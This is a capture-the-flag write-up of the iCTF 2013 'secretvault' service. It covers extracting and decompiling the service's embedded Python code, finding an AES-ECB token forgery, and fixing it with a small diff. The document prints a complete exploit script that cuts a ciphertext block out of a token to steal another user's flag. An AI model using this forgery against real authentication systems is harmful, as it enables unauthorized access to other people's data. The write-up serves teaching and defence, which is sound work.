iCTF secretvault write up
Overview
The second edition of iCTF 2013 was similar to the first one: each team has to keep some services running, while finding and fixing vulnerabilities in those services as well as writing exploits exploiting the vulnerabilities found.
This article focuses on the “secretvault” service. It is composed of a
secretvault
executable, as well as many .so
libraries. From the name of
those libraries (e.g. libpython2.7.so.1.0
), we are already guessing that it
has something to do with Python 2.7.
Binary analysis
A quick look into that executable files with IDA will be enough: the tree of function calls is quite clear. There are lots of errors handling parts, with a big hint in the middle:
It seems that the executable is doing nothing but setting up a Python
environment by using some zipped files. But no .zip
files were present in the
directory, so they are likely to be somewhere in the executable itself.
So let's look for zip parts in the executable by searching for the magic
number PK\x03\x04
(with the superb dhex
program):
There seems to be lots of places matching that magic number in the binary file,
so let's take the one that looks promising (with __main__.pyc
in it) by
cutting the binary at that position, and trying to extract the file obtained:
$ file secretvault_part
secretvault_part: Zip archive data, at least v2.0 to extract
$ unzip secretvault_part -d out
-*- SNIP -*- SNIP -*- SNIP -*- SNIP -*- SNIP -*- SNIP -*-
$ ls out
_abcoll.pyc hashlib.pyc sre_compile.pyc
abc.pyc heapq.pyc sre_constants.pyc
atexit.pyc hmac.pyc sre_parse.pyc
base64.pyc httplib.pyc ssl.pyc
bdb.pyc inspect.pyc stat.pyc
bisect.pyc io.pyc string.pyc
calendar.pyc keyword.pyc _strptime.pyc
cmd.pyc linecache.pyc struct.pyc
codecs.pyc locale.pyc subprocess.pyc
collections.pyc logging tarfile.pyc
copy.pyc __main__.pyc tempfile.pyc
copy_reg.pyc mimetools.pyc textwrap.pyc
ctypes mimetypes.pyc _threading_local.pyc
cx_Freeze__init__.pyc multiprocessing threading.pyc
difflib.pyc opcode.pyc tokenize.pyc
dis.pyc optparse.pyc token.pyc
distutils os.pyc traceback.pyc
doctest.pyc pdb.pyc types.pyc
dummy_threading.pyc pickle.pyc unittest
dummy_thread.pyc posixpath.pyc urllib.pyc
email pprint.pyc urlparse.pyc
encodings py_compile.pyc uu.pyc
fnmatch.pyc quopri.pyc warnings.pyc
ftplib.pyc random.pyc weakref.pyc
functools.pyc repr.pyc _weakrefset.pyc
genericpath.pyc re.pyc xml
getopt.pyc rfc822.pyc xmllib.pyc
getpass.pyc shlex.pyc xmlrpclib.pyc
gettext.pyc shutil.pyc zipfile.pyc
gzip.pyc socket.pyc
So we have a lot of .pyc
files here, most of them being the usual libraries,
but again, __main__.pyc
is probably the one we are looking for. Once more,
I'm using uncompyle to get the
Python code back.
Protocol analysis
This is the easy part: we have the source code of the application, we just have to analyse it in order to understand how the application is working.
As for any services of the iCTF, this application implements a TCP server with its own application protocol. Going through the code gives the protocol:
- Server sends
user|pass:
- Client sends a
user
andpassword
- Server performs authentication:
- if
user
is unknown, store corresponding password and allow access - else, check
password
against the user password and kill the connection if they differ
- if
- Server sends a token
E(< date || user || CHALLENGE>, key)
, wheredate
is the current date (year, month, day, hour and minute),user
is the user sent previously by the client, andkey
is a secret key generated when the application is started - Server sends
cookie,command:
- Clients sends a token together with a command
- Server decrypts the token, checks that it has a valid format and that
date
is still the current date, and if everything is right, performs the command - Go back to point 5
What are the commands you ask? Several are available, but the only one we are
interesting in is retv secret
, which retrieves the flag for the corresponding
user
. Indeed, our aim is to get that flag, and our exploit has to take as
argument the user
we want the flag of. Here is the problem:
- If we send the
user
we are interested in during step 2, the server will deny access; - If we send an other
user
, we will not retrieve the good flag.
Well, that's not totally true: a closer look at the application shows that the
flag would be retrieved for the user
included in the token sent in step 6,
and not the one sent in step 2. So we could send a fresh random user
in step
2, and still get the flag of the user we are interested. Now the problem is
that we can not get access to the key
, so we can not create a token for any
user.
But get closer to the source code, and you may find the problem right away… Here is the code to decrypt the token and extract the user:
# b64_c is the base64-encoded token received by the server
c = base64.b64decode(b64_c)
aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
m = aes.decrypt(c)
print 'm=',
print m
fields = m.split('|')
year = int(fields[0])
month = int(fields[1])
day = int(fields[2])
hour = int(fields[3])
minute = int(fields[4])
user = fields[5]
user = user.strip()
if not safe_string(user):
raise Exception('Invalid Username')
return ''
else:
if 'CHALLENGE' not in fields[6]:
raise Exception('Invalid Token')
return ''
print 'mfields=',
print fields
ts = datetime.datetime(year, month, day, hour, minute)
t = datetime.datetime.now()
d = t - ts
if d > datetime.timedelta(seconds=120):
print 'expired'
raise Exception('Expired')
return ''
# execute the command
ECB strikes back
Yes, AES in used in ECB mode. I've already written that if you are using ECB, you are doing it wrong, explaining how frequency analysis could be used to recover some information about the plaintext.
But here, it's even worse! In step 4, the server is encrypting whatever we want! See by yourself:
# user is received from the client
t = datetime.datetime.now()
plain_token = '%d|%d|%d|%d|%d|%s|CHALLENGE' % (t.year,
t.month,
t.day,
t.hour,
t.minute,
user)
l1 = len('%d|%d|%d|%d|%d|' % (t.year,
t.month,
t.day,
t.hour,
t.minute))
padded_plain_token = ' ' * (32 - l1) + plain_token
l = len(padded_plain_token)
padded_plain_token = padded_plain_token + ' ' * (16 - l % 16)
aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
enc_token = aes.encrypt(padded_plain_token)
b64_token = base64.b64encode(enc_token)
# b64_token is send to the client
We only have a few limitations:
user
is not encrypted alone, there are things before and after;- we are limited in the size of
user
, because together with the password and the delimiter, it should be no more than 1024 characters (as sent in step 2).
An other problem we have to cope with to leverage the ECB mode is alignment:
ECB mode is working by encrypting each block separately (with AES, each block
is 16 bytes long). But luckily enough1, the user
part is aligned by the
server: all what is before is padded to be exactly 32 bits. How convenient!
There are many ways to exploit that flaw, as we can really get anything
encrypted (making several requests if needed). The simplest is probably to add
16 random characters before the user
, and remove the corresponding block from
the received token. Here is a simplified diagram describing the attack working
on an example:
With everything we have, the attack is quite simple:
- Add 16 random2 bytes before the user we want to recover the flag of
- Connect to the server, create an account3 with that crafted user and get the corresponding token
- Remove the extra block from the token to have a valid token for the user we are interested in
- Get the flag using that token
And here is the Python code to do so, formatted to comply with the rules of iCTF:
import random
import base64
from socket import socket
class Exploit():
def execute(self, ip, port, flag_id):
self.s = socket()
self.s.connect((ip, port))
# add a random block before the username
user = Exploit.get_random_str(16) + flag_id
# get the token
assert self.recv_until(':') == 'user|pass'
self.s.send('%s|RogdhamWasHere' % user)
tok = self.recv_until('\n')
# remove the extra block
tok = base64.b64decode(tok)
tok = tok[:32] + tok[48:]
tok = base64.b64encode(tok)
# send command
assert self.recv_until(':') == 'cookie,command'
self.s.send('%s,retv secret' % tok)
# get secret
self.flag = self.recv_until('\n')
def result(self):
return {'FLAG' : self.flag}
@staticmethod
def get_random_str(l):
out = ''
while len(out) < l:
out += random.choice(map(chr, range(97, 123)))
return out
def recv_until(self, until):
out = ''
while True:
c = self.s.recv(1)
if c == until:
return out
out += c
Fixing the flaw, detecting attacks
To fix the vulnerability in a quick and ugly way, it is enough to check that the user we obtain from the token is the one that was successfully authenticated before. Here is the diff:
136c136
< def parse_command(msg):
---
> def parse_command(msg, check_user):
159c159
< if not safe_string(user):
---
> if not safe_string(user) or user != check_user:
279c279
< out = parse_command(data)
---
> out = parse_command(data, user)
Also, detecting attacks should be easy: when user != check_user
in the test
above, we know that we have an attack and it is enough to report the time, IPs
and ports involved so that the user can mark the corresponding connection in
the iCTF interface.
Conclusion
This challenge was quite interesting, involving a little bit of binary analysis, Python code analysis, and some understanding of cryptography. Thanks to the iCTF team for the organisation, and of course to A Finite Number Of Monkeys for letting me join them once more.
- ↑ Well, that would not have been a real problem, as the retrieved users is
striped of whitespaces, so we could have use the same methodology, the only
change to make would be aligning the
user
using whitespaces. - ↑ To make sure to pass the
.isalnum()
sanitization, I am only using[a-z]
letters. - ↑ Because the first 16 bytes of the
user
are random, we are very likely to have a new user.